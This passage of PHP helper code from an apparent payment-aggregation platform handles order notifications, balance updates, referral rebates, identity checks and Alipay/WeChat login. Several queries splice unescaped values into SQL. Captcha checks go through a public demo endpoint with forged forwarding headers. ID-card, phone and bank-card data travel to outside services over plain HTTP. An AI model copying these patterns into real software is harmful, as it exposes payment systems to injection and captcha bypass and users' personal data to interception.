    << 返回上一页'; +} +else + echo '
    << 返回上一页'; + +echo '
    +
    '; + exit; +} +function sysmsg($msg = '未知的异常',$title = '站点提示信息') { + ?> + + + + + + <?php echo $title?> + + + + '.$title.''; + echo $msg; ?> + + + + + + + + + 支付成功跳转页面 + + + +

    支付成功,正在跳转请稍候...

    + + + + + + + + + 正在为您跳转到支付页面,请稍候... + + + +

    正在为您跳转到支付页面,请稍候...

    + + + + 0){ + return substr($str, $start, $right-$start); + }else{ + return substr($str, $start); + } +} +function isNullOrEmpty($str){ + return $str === null || $str === ''; +} + +function getSetting($k, $force = false){ + global $DB,$CACHE; + if($force) return $DB->getColumn("SELECT v FROM pre_config WHERE k=:k LIMIT 1", [':k'=>$k]); + $cache = $CACHE->get($k); + return $cache[$k]; +} +function saveSetting($k, $v){ + global $DB; + return $DB->exec("REPLACE INTO pre_config SET v=:v,k=:k", [':v'=>$v, ':k'=>$k]); +} +function checkGroupSettings($str){ + foreach(explode(',',$str) as $row){ + if(!strpos($row,':'))return false; + } + return true; +} +function isEmpty($value) +{ + return $value === null || trim($value) === ''; +} + +function creat_callback($data){ + global $DB,$conf; + $type=$DB->getColumn("SELECT name FROM pre_type WHERE id='{$data['type']}' LIMIT 1"); + if($data['version'] == 1){ + $array=array('pid'=>$data['uid'],'trade_no'=>$data['trade_no'],'out_trade_no'=>$data['out_trade_no'],'type'=>$type,'name'=>$data['name'],'money'=>(float)$data['money'],'trade_status'=>'TRADE_SUCCESS'); + if(!empty($data['bill_trade_no']))$array['api_trade_no']=$data['bill_trade_no']; + elseif(!empty($data['api_trade_no']))$array['api_trade_no']=$data['api_trade_no']; + if(!empty($data['buyer']))$array['buyer']=$data['buyer']; + if(!empty($data['param']))$array['param']=$data['param']; + if($conf['notifyordername']==1)$array['name']='product'; + $array['timestamp'] = time().''; + $array['sign_type'] = 'RSA'; + $array['sign'] = \lib\Payment::makeSign($array, ''); + }else{ + $key=$DB->getColumn("SELECT `key` FROM pre_user WHERE uid='{$data['uid']}' LIMIT 1"); + $array=array('pid'=>$data['uid'],'trade_no'=>$data['trade_no'],'out_trade_no'=>$data['out_trade_no'],'type'=>$type,'name'=>$data['name'],'money'=>(float)$data['money'],'trade_status'=>'TRADE_SUCCESS'); + if(!empty($data['param']))$array['param']=$data['param']; + if($conf['notifyordername']==1)$array['name']='product'; + $array['sign'] = \lib\Payment::makeSign($array, $key); + $array['sign_type'] = 'MD5'; + } + $query_str = http_build_query($array); + if(strpos($data['notify_url'],'?')) + $url['notify']=$data['notify_url'].'&'.$query_str; + else + $url['notify']=$data['notify_url'].'?'.$query_str; + if(strpos($data['return_url'],'?')) + $url['return']=$data['return_url'].'&'.$query_str; + else + $url['return']=$data['return_url'].'?'.$query_str; + if($data['tid']>0){ + $url['return']=$data['return_url']; + } + return $url; +} + +function getdomain($url){ + $arr=parse_url($url); + $host = $arr['host']; + if(isset($arr['port']) && $arr['port']!=80 && $arr['port']!=443)$host .= ':'.$arr['port']; + return $host; +} +function get_host($url){ + $arr=parse_url($url); + return $arr['host']; +} + +function get_main_host($url){ + $arr=parse_url($url); + $host = $arr['host']; + if(filter_var($host, FILTER_VALIDATE_IP))return $host; + if(substr_count($host, '.')>1){ + $host = substr($host, strpos($host, '.')+1); + } + return $host; +} + +function do_notify($url){ + $return = curl_get($url); + if(strpos($return,'success')!==false || strpos($return,'SUCCESS')!==false || strpos($return,'Success')!==false){ + return true; + }else{ + return false; + } +} + +function checkBlockUser($openid, $trade_no){ + global $DB, $conf; + $DB->update('order', ['buyer'=>$openid], ['trade_no'=>$trade_no]); + $black = $DB->find('blacklist', '*', ['type'=>0, 'content'=>$openid], null, 1); + if($black){ + return ['type'=>'error','msg'=>'系统异常无法完成付款']; + } + if($conf['pay_userlimit'] > 0){ + $usercount = $DB->getColumn("select count(*) from pre_order where `buyer`=:buyer and `date`='".date('Y-m-d')."' and status>0", [':buyer'=>$openid]); + if($usercount >= $conf['pay_userlimit']){ + return ['type'=>'error','msg'=>'你今天已无法再发起支付,请明天再试']; + } + } + return false; +} + +function processReturn($order, $api_trade_no=null, $buyer=null, $bill_trade_no = null){ + \lib\Payment::processOrder(false, $order, $api_trade_no, $buyer, $bill_trade_no); +} + +function processNotify($order, $api_trade_no=null, $buyer=null, $bill_trade_no = null){ + \lib\Payment::processOrder(true, $order, $api_trade_no, $buyer, $bill_trade_no); +} + +function processOrder($srow,$notify=true){ + global $DB,$CACHE,$conf,$channel; + $addmoney = $srow['getmoney']; + $reducemoney = round($srow['realmoney']-$srow['getmoney'], 2); + if($reducemoney<0)$reducemoney=0; + + $profitmoney = $reducemoney; + if(!empty($channel['costrate']) && $channel['costrate'] > 0){ + $profitmoney = round($profitmoney - $srow['realmoney'] * $channel['costrate'] / 100, 2); + } + $DB->update('order', ['profitmoney'=>$profitmoney], ['trade_no'=>$srow['trade_no']]); + + if($srow['tid']==1){ //商户注册 + changeUserMoney($srow['uid'], $addmoney, true, '订单收入', $srow['trade_no']); + $info = unserialize($CACHE->read('reg_'.$srow['trade_no'])); + if($info){ + $key = random(32); + $paystatus = $conf['user_review']==1?2:1; + $sds=$DB->exec("INSERT INTO `pre_user` (`upid`, `key`, `money`, `email`, `phone`, `addtime`, `pay`, `settle`, `keylogin`, `apply`, `status`) VALUES (:upid, :key, '0.00', :email, :phone, NOW(), :paystatus, 1, 0, 0, 1)", [':upid'=>$info['upid'], ':key'=>$key, ':email'=>$info['email'], ':phone'=>$info['phone'], ':paystatus'=>$paystatus]); + $uid=$DB->lastInsertId(); + $pwd = getMd5Pwd($info['pwd'], $uid); + $DB->exec("UPDATE `pre_user` SET `pwd`='{$pwd}' WHERE `uid`='$uid'"); + if($sds){ + if(!empty($info['email'])){ + $sub = $conf['sitename'].' - 注册成功通知'; + $msg = '

    商户注册成功通知

    感谢您注册'.$conf['sitename'].'!
    您的登录账号:'.$info['email'].'
    您的商户ID:'.$uid.'
    您的商户秘钥:'.$key.'
    '.$conf['sitename'].'官网:'.$_SERVER['HTTP_HOST'].'
    商户管理后台】'; + send_mail($info['email'], $sub, $msg); + } + if(isset($info['invitecodeid']) && $info['invitecodeid']>0){ + $DB->update('invitecode', ['status'=>1, 'uid'=>$uid, 'usetime'=>'NOW()'], ['id'=>$info['invitecodeid']]); + } + if($paystatus == 2){ + \lib\MsgNotice::send('regaudit', 0, ['uid'=>$uid, 'account'=>$info['email']?$info['email']:$info['phone']]); + } + } + } + }else if($srow['tid']==2){ //充值余额 + $param = json_decode($srow['param'], true); + changeUserMoney($param['uid'], $addmoney, true, '余额充值', $srow['trade_no']); + }else if($srow['tid']==3){ //聚合收款码 + if($channel['mode']==1){ + if($reducemoney>0) + changeUserMoney($srow['uid'], $reducemoney, false, '在线收款服务费', $srow['trade_no']); + }else{ + changeUserMoney($srow['uid'], $addmoney, true, '在线收款', $srow['trade_no']); + } + }else if($srow['tid']==4){ //购买用户组 + $param = json_decode($srow['param'], true); + changeUserGroup($param['uid'], $param['gid'], $param['endtime']); + }else if($srow['tid']==5){ //充值保证金 + $param = json_decode($srow['param'], true); + $userrow = $DB->find('user', 'deposit', ['uid'=>$param['uid']]); + $deposit = $userrow['deposit'] > 0 ? round($userrow['deposit'] + $srow['money'], 2) : $srow['money']; + $DB->exec("UPDATE pre_user SET deposit=:deposit WHERE uid=:uid", [':deposit'=>$deposit, ':uid'=>$param['uid']]); + }else{ + if($channel['mode']==1){ + if($reducemoney>0) + changeUserMoney($srow['uid'], $reducemoney, false, '订单服务费', $srow['trade_no']); + }else{ + changeUserMoney($srow['uid'], $addmoney, true, '订单收入', $srow['trade_no']); + } + $url=creat_callback($srow); + if(do_notify($url['notify'])){ + $DB->exec("UPDATE pre_order SET notify=0 WHERE trade_no='{$srow['trade_no']}'"); + }elseif($notify==true){ + //通知时间:1分钟,3分钟,20分钟,1小时,2小时 + $DB->exec("UPDATE pre_order SET notify=1,notifytime=date_add(now(), interval 1 minute) WHERE trade_no='{$srow['trade_no']}'"); + } + } + if($srow['tid']==0 || $srow['tid']==3){ + //发送订单通知 + \lib\MsgNotice::send('order', $srow['uid'], ['trade_no'=>$srow['trade_no'], 'out_trade_no'=>$srow['out_trade_no'], 'name'=>$srow['name'], 'money'=>$srow['money'], 'type'=>$srow['typeshowname'], 'time'=>date('Y-m-d H:i:s')]); + + //邀请返现 + $upid = $DB->findColumn('user', 'upid', ['uid'=>$srow['uid']]); + if($upid > 0){ + $upgid = $DB->findColumn('user', 'gid', ['uid'=>$upid]); + $groupconfig = getGroupConfig($upgid); + $conf_n = array_merge($conf, $groupconfig); + if($conf_n['invite_open'] == 1 && !empty($conf_n['invite_rate'])){ + if($conf_n['invite_order_type']==2){ + $invite_money = round($profitmoney * $conf_n['invite_rate'] / 100, 2); + }elseif($conf_n['invite_order_type']==1){ + $invite_money = round($reducemoney * $conf_n['invite_rate'] / 100, 2); + }else{ + $invite_money = round($srow['money'] * $conf_n['invite_rate'] / 100, 2); + if(!$conf_n['invite_order_fee']){ + if($invite_money > $reducemoney) $invite_money = $reducemoney; + } + } + if($invite_money > 0){ + changeUserMoney($upid, $invite_money, true, '邀请返现', $srow['trade_no']); + } + } + } + } + if($channel['daytop']>0){ + $cachekey = 'daytop'.$channel['id'].date("Ymd"); + $nowmoney = $CACHE->read($cachekey); + if(!$nowmoney)$nowmoney=0; + $nowmoney=round($nowmoney+$srow['realmoney'], 2); + $CACHE->save($cachekey, $nowmoney, 86400); + if($nowmoney>=$channel['daytop']){ + $DB->exec("UPDATE pre_channel SET daystatus=1 WHERE id='{$channel['id']}'"); + } + } + if($srow['profits']>0){ //订单分账处理 + $psreceiver = $DB->find('psreceiver', '*', ['id'=>$srow['profits']]); + if($psreceiver){ + $status = in_array($srow['plugin'], \lib\ProfitSharing\CommUtil::$no_order_plugins) ? 2 : 0; + $psmoney = round(floor($srow['realmoney'] * $psreceiver['rate']) / 100, 2); + $delay = ($srow['plugin'] == 'wxpaynp' || $srow['plugin'] == 'alipayd') && $conf['direct_settle_time'] == 1 ? 1 : 0; + $DB->insert('psorder', ['rid'=>$psreceiver['id'], 'trade_no'=>$srow['trade_no'], 'api_trade_no'=>$srow['api_trade_no'], 'money'=>$psmoney, 'status'=>$status, 'addtime'=>'NOW()', 'delay'=>$delay]); + } + } +} + +function changeUserMoney($uid, $money, $add=true, $type=null, $orderid=null){ + global $DB; + if($money<=0)return; + if($type=='订单退款'){ + $isrefund = $DB->getColumn("SELECT id FROM pre_record WHERE type='订单退款' AND trade_no=:orderid LIMIT 1", [':orderid'=>$orderid]); + if($isrefund)return; + } + $DB->beginTransaction(); + $oldmoney = $DB->getColumn("SELECT money FROM pre_user WHERE uid=:uid LIMIT 1 FOR UPDATE", [':uid'=>$uid]); + if($add == true){ + $action = 1; + $newmoney = round($oldmoney+$money, 2); + }else{ + $action = 2; + $newmoney = round($oldmoney-$money, 2); + } + $res = $DB->exec("UPDATE pre_user SET money=:money WHERE uid=:uid", [':money'=>$newmoney, ':uid'=>$uid]); + $DB->insert('record', ['uid'=>$uid, 'action'=>$action, 'money'=>$money, 'oldmoney'=>$oldmoney, 'newmoney'=>$newmoney, 'type'=>$type, 'trade_no'=>$orderid, 'date'=>'NOW()']); + $DB->commit(); + return $res; +} + +function changeUserGroup($uid, $gid, $endtime = null){ + global $DB; + return $DB->update('user', ['gid'=>$gid, 'endtime'=>$endtime?$endtime:null], ['uid'=>$uid]); +} + +function checkIfActive($string) { + $array=explode(',',$string); + $php_self=substr($_SERVER['REQUEST_URI'],strrpos($_SERVER['REQUEST_URI'],'/')+1,strrpos($_SERVER['REQUEST_URI'],'.')-strrpos($_SERVER['REQUEST_URI'],'/')-1); + if (in_array($php_self,$array)){ + return 'active'; + }else + return null; +} + +//通用转账 +function transfer_do($type, $channel, $out_biz_no, $payee_account, $payee_real_name, $money){ + return \lib\Transfer::submit($type, $channel, $out_biz_no, $payee_account, $payee_real_name, $money); +} +//转账回调处理 +function processTransfer($out_biz_no, $status, $errmsg = null){ + \lib\Transfer::processNotify($out_biz_no, $status, $errmsg); +} + +function ordername_replace($name,$oldname,$uid,$order,$outorder=null){ + global $DB; + if(strpos($name,'[name]')!==false){ + $name = str_replace('[name]', $oldname, $name); + } + if(strpos($name,'[order]')!==false){ + $name = str_replace('[order]', $order, $name); + } + if(strpos($name,'[outorder]')!==false && $outorder){ + $name = str_replace('[outorder]', $outorder, $name); + } + if(strpos($name,'[qq]')!==false || strpos($name,'[phone]')!==false){ + $userrow = $DB->find('user', 'qq,phone', ['uid'=>$uid]); + $name = str_replace('[qq]', $userrow['qq'], $name); + $name = str_replace('[phone]', $userrow['phone'], $name); + } + if(strpos($name,'[time]')!==false){ + $name = str_replace('[time]', time(), $name); + } + return $name; +} + +function is_idcard( $id ) +{ + $id = strtoupper($id); + $regx = "/(^\d{17}([0-9]|X)$)/"; + $arr_split = array(); + if(strlen($id)!=18 || !preg_match($regx, $id)) + { + return false; + } + $regx = "/^(\d{6})+(\d{4})+(\d{2})+(\d{2})+(\d{3})([0-9]|X)$/"; + @preg_match($regx, $id, $arr_split); + $dtm_birth = $arr_split[2] . '/' . $arr_split[3]. '/' .$arr_split[4]; + if(!strtotime($dtm_birth)) //检查生日日期是否正确 + { + return false; + } + else + { + //检验18位身份证的校验码是否正确。 + //校验位按照ISO 7064:1983.MOD 11-2的规定生成,X可以认为是数字10。 + $arr_int = array(7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2); + $arr_ch = array('1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'); + $sign = 0; + for ( $i = 0; $i < 17; $i++ ) + { + $b = (int) $id[$i]; + $w = $arr_int[$i]; + $sign += $b * $w; + } + $n = $sign % 11; + $val_num = $arr_ch[$n]; + if ($val_num != substr($id,17, 1)) + { + return false; + } + else + { + return true; + } + } +} + +function checkRefererHost(){ + if(!$_SERVER['HTTP_REFERER'])return false; + $url_arr = parse_url($_SERVER['HTTP_REFERER']); + $http_host = $_SERVER['HTTP_HOST']; + if(strpos($http_host,':'))$http_host = substr($http_host, 0, strpos($http_host, ':')); + return $url_arr['host'] === $http_host; +} +function randFloat($min=0, $max=1){ + return $min + mt_rand()/mt_getrandmax() * ($max-$min); +} + +function check_cert($idcard, $name, $phone){ + global $conf; + $appcode = $conf['cert_appcode']; + $url = 'http://phone3.market.alicloudapi.com/phonethree'; + $post = ['idcard'=>$idcard, 'phone'=>$phone, 'realname'=>$name]; + $data = get_curl($url.'?'.http_build_query($post), 0,0,0,0,0,0, ['Authorization: APPCODE '.$appcode, 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8']); + $arr=json_decode($data,true); + if(isset($arr['code']) && $arr['code']==200){ + return ['code'=>0, 'msg'=>$arr['msg']]; + }elseif(isset($arr['msg'])){ + return ['code'=>-1, 'msg'=>$arr['msg']]; + }else{ + return ['code'=>-2, 'msg'=>'返回结果解析失败']; + } +} +function check_corp_cert($companyName, $creditNo, $legalPerson){ + global $conf; + $appcode = $conf['cert_appcode2']; + $url = 'http://companythree.shumaidata.com/companythree/check'; + $post = ['companyName'=>$companyName, 'creditNo'=>$creditNo, 'legalPerson'=>$legalPerson]; + $data = get_curl($url.'?'.http_build_query($post), 0, 0,0,0,0,0, ['Authorization: APPCODE '.$appcode, 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8']); + $arr=json_decode($data,true); + if(array_key_exists('code',$arr) && $arr['code']==200){ + if($arr['data']['result']==0){ + return ['code'=>0, 'msg'=>$arr['data']['desc']]; + }else{ + return ['code'=>-1, 'msg'=>$arr['data']['desc']=='不一致'?'公司与法人信息不一致':$arr['data']['desc']]; + } + }elseif(array_key_exists('msg',$arr)){ + return ['code'=>-1, 'msg'=>$arr['msg']]; + }else{ + return ['code'=>-2, 'msg'=>'返回结果解析失败']; + } +} +function show_cert_type($certtype){ + if($certtype == 1){ + return '企业实名认证'; + }else{ + return '个人实名认证'; + } +} +function show_cert_method($certmethod){ + if($certmethod == 1){ + return '微信快捷认证'; + }elseif($certmethod == 2){ + return '手机号三要素认证'; + }elseif($certmethod == 3){ + return '人工审核认证'; + }else{ + return '支付宝快捷认证'; + } +} + +function randomFloat($min = 0, $max = 1) { + $num = $min + mt_rand() / mt_getrandmax() * ($max - $min); + return sprintf("%.2f",$num); +} + +function wx_get_access_token($appid, $secret) { + global $DB; + $row = $DB->getRow("SELECT id FROM pre_weixin WHERE appid='{$appid}' LIMIT 1"); + if($row) return $row['id']; + return false; +} + +function wxminipay_jump_scheme($wid, $orderid){ + global $conf, $order, $siteurl; + if($conf['wxminipay_path']) { + $path = $conf['wxminipay_path']; + $query = 'orderid='.$orderid.'&sign='.md5(SYS_KEY.$orderid.SYS_KEY); + }else{ + $jump_url = $siteurl.'pay/wxminipay/'.$orderid.'/'; + $path = 'pages/pay/pay'; + $query = 'money='.$order['realmoney'].'&url='.$jump_url; + } + $wechat = new \lib\wechat\WechatAPI($wid); + return $wechat->generate_scheme($path, $query); +} + +function wxminipay_jump_path($orderid){ + global $conf, $order, $siteurl; + if($conf['wxminipay_path']) { + $path = $conf['wxminipay_path']; + $extraData = ['orderid'=>$orderid, 'sign'=>md5(SYS_KEY.$orderid.SYS_KEY)]; + }else{ + $jump_url = $siteurl.'pay/wxminipay/'.$orderid.'/'; + $path = 'pages/pay/pay'; + $extraData = ['money'=>$order['realmoney'], 'url'=>$jump_url]; + } + return $path . '?' . http_build_query($extraData); +} + +function checkDomain($domain){ + if(empty($domain) || !preg_match('/^[-$a-z0-9_*.]{2,512}$/i', $domain) || (stripos($domain, '.') === false) || substr($domain, -1) == '.' || substr($domain, 0 ,1) == '.' || substr($domain, 0 ,1) == '*' && substr($domain, 1 ,1) != '.' || substr_count($domain, '*')>1 || strpos($domain, '*')>0 || strlen($domain)<4) return false; + return true; +} + +//微信合单支付,返回所有子单金额 +function combinepay_submoneys($money){ + global $conf; + if(!$conf['wxcombine_open'] || !$conf['wxcombine_minmoney']) return false; + if($money >= intval($conf['wxcombine_minmoney']*100)){ + $subnum = 3; + $submoney = intval($money/$subnum); + while($submoney > intval($conf['wxcombine_submoney']*100)){ + $subnum++; + $submoney = intval($money/$subnum); + if($subnum==50)break; + } + $submoneys = []; + for($i=0;$i<$subnum;$i++){ + $submoneys[] = $submoney; + } + $mod = $money%$subnum; + if($mod > 0){ + for($i=0;$i<$mod;$i++){ + $submoneys[$i] += 1; + } + } + return $submoneys; + } + return false; +} + +function get_invite_code($uid){ + $str = (string)$uid; + $tmp = ''; + for($i=0;$i $from, + 'to' => $to, + 'amount' => $amount + ]; + $url = 'https://api.exchangerate.host/convert?'.http_build_query($param); + $data = get_curl($url); + $arr = json_decode($data, true); + if($arr['success']===true){ + return $arr['result']; + }else{ + throw new Exception('汇率转换失败'); + } +} + +function checkPayVerifyOpen($pid){ + global $DB, $conf, $clientip; + if($conf['pay_verify'] == 3) return true; + elseif($conf['pay_verify'] == 2){ + $uid_arr = explode('|', $conf['pay_verify_check_uid']); + if(in_array($pid, $uid_arr)) return true; + } + elseif($conf['pay_verify'] == 1){ + $second = intval($conf['pay_verify_check_second']); + $count = intval($conf['pay_verify_check_count']); + $sucrate = floatval($conf['pay_verify_check_rate']); + if($second>0 || $count>0 || $sucrate>0){ + $total_num=$DB->getColumn("SELECT count(*) FROM pre_order WHERE uid='$pid' AND addtime>=DATE_SUB(NOW(), INTERVAL {$second} SECOND)"); + $succ_num=$DB->getColumn("SELECT count(*) FROM pre_order WHERE uid='$pid' AND addtime>=DATE_SUB(NOW(), INTERVAL {$second} SECOND) AND status>0"); + if($total_num >= $count){ + $succ_rate = round($succ_num * 100 / $total_num, 2); + if($succ_rate < $sucrate){ + return true; + } + } + } + $ipcheck = intval($conf['pay_verify_check_ip']); + if($ipcheck>0){ + $orders = $DB->getAll("SELECT status FROM pre_order WHERE `ip`='$clientip' AND addtime>=DATE_SUB(NOW(), INTERVAL 3600 SECOND) ORDER BY addtime DESC LIMIT {$ipcheck}"); + $fail_num = 0; + foreach($orders as $row){ + if($row['status'] == 0) $fail_num++; + } + if($fail_num>=$ipcheck){ + return true; + } + } + } + return false; +} + +function showPayVerifyPage($defend_key, $query_arr){ + global $conf, $cdnpublic; + if($conf['pay_verify_type'] == 0){ + $key = time().$defend_key.rand(111111,999999); + include PAYPAGE_ROOT.'verify_jump.php'; + }elseif($conf['pay_verify_type'] == 1){ + include PAYPAGE_ROOT.'verify_invisible.php'; + }elseif($conf['pay_verify_type'] == 2){ + include PAYPAGE_ROOT.'verify_slide.php'; + } + exit; +} + +function getDefendKey($pid, $trade_no){ + return md5(SYS_KEY.$pid.'_'.$trade_no.SYS_KEY); +} + +//极验3.0服务端验证 +function verify_captcha($user_id = 'public'){ + global $conf, $clientip; + $GtSdk = new \lib\GeetestLib($conf['captcha_id'], $conf['captcha_key']); + if($conf['captcha_version'] == '1'){ + return $GtSdk->gt4_validate($_POST['captcha_id'], $_POST['lot_number'], $_POST['pass_token'], $_POST['gen_time'], $_POST['captcha_output']); + }else{ + $data = array( + 'user_id' => $user_id, + 'client_type' => "web", + 'ip_address' => $clientip + ); + if ($_SESSION['gtserver'] == 1) { //服务器正常 + return $GtSdk->success_validate($_POST['geetest_challenge'], $_POST['geetest_validate'], $_POST['geetest_seccode'], $data); + }else{ //服务器宕机,走failback模式 + return $GtSdk->fail_validate($_POST['geetest_challenge'],$_POST['geetest_validate'],$_POST['geetest_seccode']); + } + } +} + +//极验4.0服务端验证 +function verify_captcha4(){ + if(!isset($_POST['captcha_id']) || !isset($_POST['lot_number']) || !isset($_POST['pass_token']) || !isset($_POST['gen_time']) || !isset($_POST['captcha_output'])) return false; + $real_ip = real_ip(); + $url = 'http://gt4.geetest.com/demov4/demo/login'; + $param = ['captcha_id'=>$_POST['captcha_id'], 'lot_number'=>$_POST['lot_number'], 'pass_token'=>$_POST['pass_token'], 'gen_time'=>$_POST['gen_time'], 'captcha_output'=>$_POST['captcha_output']]; + $referer = 'http://gt4.geetest.com/demov4/invisible-bind-zh.html'; + $httpheader[] = "X-Real-IP: ".$real_ip; + $httpheader[] = "X-Forwarded-For: ".$real_ip; + $data = get_curl($url.'?'.http_build_query($param),0,$referer,0,0,0,0,$httpheader); + $arr = json_decode($data, true); + if(isset($arr['result']) && $arr['result'] == 'success'){ + return true; + } + return false; +} + +function getGroupConfig($gid){ + global $DB; + $input_key = ['settle_open', 'settle_type', 'settle_transfer', 'user_transfer']; + $grouprow=$DB->getRow("SELECT config FROM pre_group WHERE gid='{$gid}' LIMIT 1"); + if(!$grouprow)$grouprow=$DB->getRow("SELECT config FROM pre_group WHERE gid=0 LIMIT 1"); + $config = []; + if(!$grouprow) return $config; + if($grouprow['config']){ + $arr = json_decode($grouprow['config'], true); + foreach($arr as $key=>$value){ + if(!isNullOrEmpty($value)){ + if(in_array($key, $input_key) && $value=='0') continue; + if($key == 'settle_type') $value = $value-1; + $config[$key] = $value; + } + } + } + return $config; +} + +function get_alipay_userid(){ + global $conf; + if($conf['alipay_web_login']==0) throw new Exception('未配置支付宝网页快捷登录通道'); + $channel = \lib\Channel::get($conf['alipay_web_login']); + if(!$channel) throw new Exception('支付宝网页快捷登录通道信息不存在'); + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + return alipay_oauth($alipay_config, true); +} + +function alipay_oauth($alipay_config = null){ + global $conf; + if($alipay_config && $conf['alipay_web_login_all'] == 1 && $conf['alipay_web_login'] > 0 || !$alipay_config && $conf['alipay_web_login'] > 0){ + $channel = \lib\Channel::get($conf['alipay_web_login']); + if($channel) { + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + } + } + if(!$alipay_config) throw new Exception('未配置支付宝网页快捷登录通道'); + try{ + $oauth = new \Alipay\AlipayOauthService($alipay_config); + if(isset($_GET['auth_code'])){ + $result = $oauth->getToken($_GET['auth_code']); + if(!empty($result['user_id'])){ + $user_id = $result['user_id']; + $user_type = 'userid'; + }else{ + $user_id = $result['open_id']; + $user_type = 'openid'; + } + if($conf['alipay_getmobile'] == 1 && defined('TRADE_NO')){ + $userinfo = $oauth->userinfo($result['access_token']); + if(isset($userinfo['mobile'])){ + global $DB; + $DB->update('order', ['mobile'=>$userinfo['mobile']], ['trade_no'=>TRADE_NO]); + $black = $DB->find('blacklist', '*', ['type'=>0, 'content'=>$userinfo['mobile']], null, 1); + if($black){ + sysmsg('系统异常无法完成付款'); + } + } + } + return [$user_type, $user_id]; + }else{ + $redirect_uri = (is_https() ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; + if($conf['alipay_getmobile'] == 1 && defined('TRADE_NO')){ + $oauth->oauth($redirect_uri, null, 'auth_user'); + }else{ + $oauth->oauth($redirect_uri); + } + } + }catch(Exception $e){ + throw new Exception('支付宝快捷登录失败!'.$e->getMessage()); + } +} + +function alipay_mini_oauth($auth_code, $alipay_config = null){ + global $conf; + if($conf['alipay_mini_login'] > 0){ + $channel = \lib\Channel::get($conf['alipay_mini_login']); + if($channel) { + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + } + } + if(!$alipay_config) throw new Exception('未配置支付宝小程序快捷登录通道'); + try{ + $oauth = new \Alipay\AlipayOauthService($alipay_config); + if(!empty($_GET['phone_data']) && !empty($conf['alipay_aes_key'])){ + $phone_data = json_decode($_GET['phone_data'], true); + if($phone_data){ + $mobile = $oauth->decryptMobile($phone_data, $conf['alipay_aes_key']); + global $DB; + $DB->update('order', ['mobile'=>$mobile], ['trade_no'=>TRADE_NO]); + } + } + $result = $oauth->getToken($auth_code); + if(!empty($result['user_id'])){ + $user_id = $result['user_id']; + $user_type = 'userid'; + }else{ + $user_id = $result['open_id']; + $user_type = 'openid'; + } + /*if($conf['alipay_getmobile'] == 1 && defined('TRADE_NO') && $scope == 'auth_user'){ + $userinfo = $oauth->userinfo($result['access_token']); + if(isset($userinfo['mobile'])){ + global $DB; + $DB->update('order', ['mobile'=>$userinfo['mobile']], ['trade_no'=>TRADE_NO]); + } + }*/ + return [$alipay_config['app_id'], $user_type, $user_id]; + }catch(Exception $e){ + throw new Exception('支付宝快捷登录失败!'.$e->getMessage()); + } +} + +function alipaymini_jump_scheme($orderid, $appid = null){ + global $conf, $order, $siteurl; + if($conf['alipay_mini_login'] > 0){ + $channel = \lib\Channel::get($conf['alipay_mini_login']); + if($channel) { + $appid = $channel['appid']; + } + } + $jump_url = $siteurl.'pay/alipaymini/'.$orderid.'/'; + $path = 'pages/pay/pay'; + $param = ['money'=>$order['realmoney'], 'url'=>$jump_url]; + $page = $path.'?'.http_build_query($param); + $scheme_url = 'alipays://platformapi/startapp?appId='.$appid.'&page='.urlencode($page); + return $scheme_url; +} + +function getBankCardInfo($cardno){ + $url = 'http://api.cccyun.cc/bankcard.php?cardno='.$cardno; + $data = get_curl($url); + $arr = json_decode($data, true); + if(isset($arr['code']) && $arr['code']==0){ + return $arr['data']; + }else{ + throw new Exception($arr['msg']?$arr['msg']:'银行卡信息查询失败'); + } +} + +function convert_channel_data(){ + global $DB; + $data_list = $DB->getAll("SELECT * FROM pre_channel WHERE config IS NULL"); + foreach($data_list as $row){ + $config = []; + if($row['appid']) $config['appid'] = $row['appid']; + if($row['appkey']) $config['appkey'] = $row['appkey']; + if($row['appsecret']) $config['appsecret'] = $row['appsecret']; + if($row['appurl']) $config['appurl'] = $row['appurl']; + if($row['appmchid']) $config['appmchid'] = $row['appmchid']; + if($row['appswitch']) $config['appswitch'] = $row['appswitch']; + $configstr = json_encode($config); + $DB->update('channel', ['config'=>$configstr], ['id'=>$row['id']]); + } + if(file_exists(TEMPLATE_ROOT.'index1/doc.php')){ + unlink(TEMPLATE_ROOT.'index1/doc.php'); + } +} + +function addon_update($name, $version){ + global $DB, $conf, $dbconfig, $CACHE; + if(!$conf['addon_'.$name] || $conf['addon_'.$name] < $version){ + $sql = ROOT.'install/addon_'.$name.'.sql'; + if(file_exists($sql)){ + $sql = file_get_contents($sql); + $sqls = explode(';', $sql); + foreach($sqls as $value){ + $value = trim($value); + if(empty($value)) continue; + $value = str_replace('pre_',$dbconfig['dbqz'].'_',$value); + $DB->exec($value); + } + } + saveSetting('addon_'.$name, $version); + $CACHE->clear(); + } +} + +function generate_key_pair(){ + $config = [ + "private_key_bits" => 2048, + 'private_key_type' => OPENSSL_KEYTYPE_RSA, + ]; + $res = openssl_pkey_new($config); + if(!$res) return null; + $privateKey = ''; + openssl_pkey_export($res, $privateKey, null, $config); + $pubKey = openssl_pkey_get_details($res); + openssl_pkey_free($res); + return ['public_key'=>pemToBase64($pubKey["key"]), 'private_key'=>pemToBase64($privateKey)]; +} + +function pemToBase64($data){ + $line = explode("\n", $data); + $base64 = ''; + foreach($line as $row){ + if(empty($row) || strpos($row, '-----BEGIN')!==false || strpos($row, '-----END')!==false) continue; + $base64 .= trim($row); + } + return $base64; +} + +function base64ToPem($data, $type){ + if(empty($data) || strpos($data, '-----BEGIN')!==false) return $data; + $pem = "-----BEGIN ".$type."-----\n" . + wordwrap($data, 64, "\n", true) . + "\n-----END ".$type."-----"; + return $pem; +} + +function echojson($array){ + @header('Content-Type: application/json; charset=UTF-8'); + exit(json_encode($array, JSON_UNESCAPED_UNICODE)); +} + +function echojsonmsg($msg, $code = -1){ + echojson(['code'=>$code, 'msg'=>$msg]); +} + +function getScanPayType($authCode){ + $prefix = substr($authCode,0,2); + $alipay_prefix = ['25', '26', '27', '28', '29', '30']; + $wxpay_prefix = ['10', '11', '12', '13', '14', '15']; + $qqpay_prefix = ['91']; + $bank_prefix = ['62']; + if(in_array($prefix, $alipay_prefix)){ + return 'alipay'; + }elseif(in_array($prefix, $wxpay_prefix)){ + return 